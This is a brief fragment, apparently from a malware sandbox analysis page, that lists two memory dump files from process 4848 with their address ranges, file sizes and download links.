memory/4848-102-0x00000000073A0000-0x000000000743C000-memory.dmp

Filesize
624KB

Download
memory/4848-101-0x00000000071A0000-0x00000000072F8000-memory.dmp

Filesize
1.3MB

Download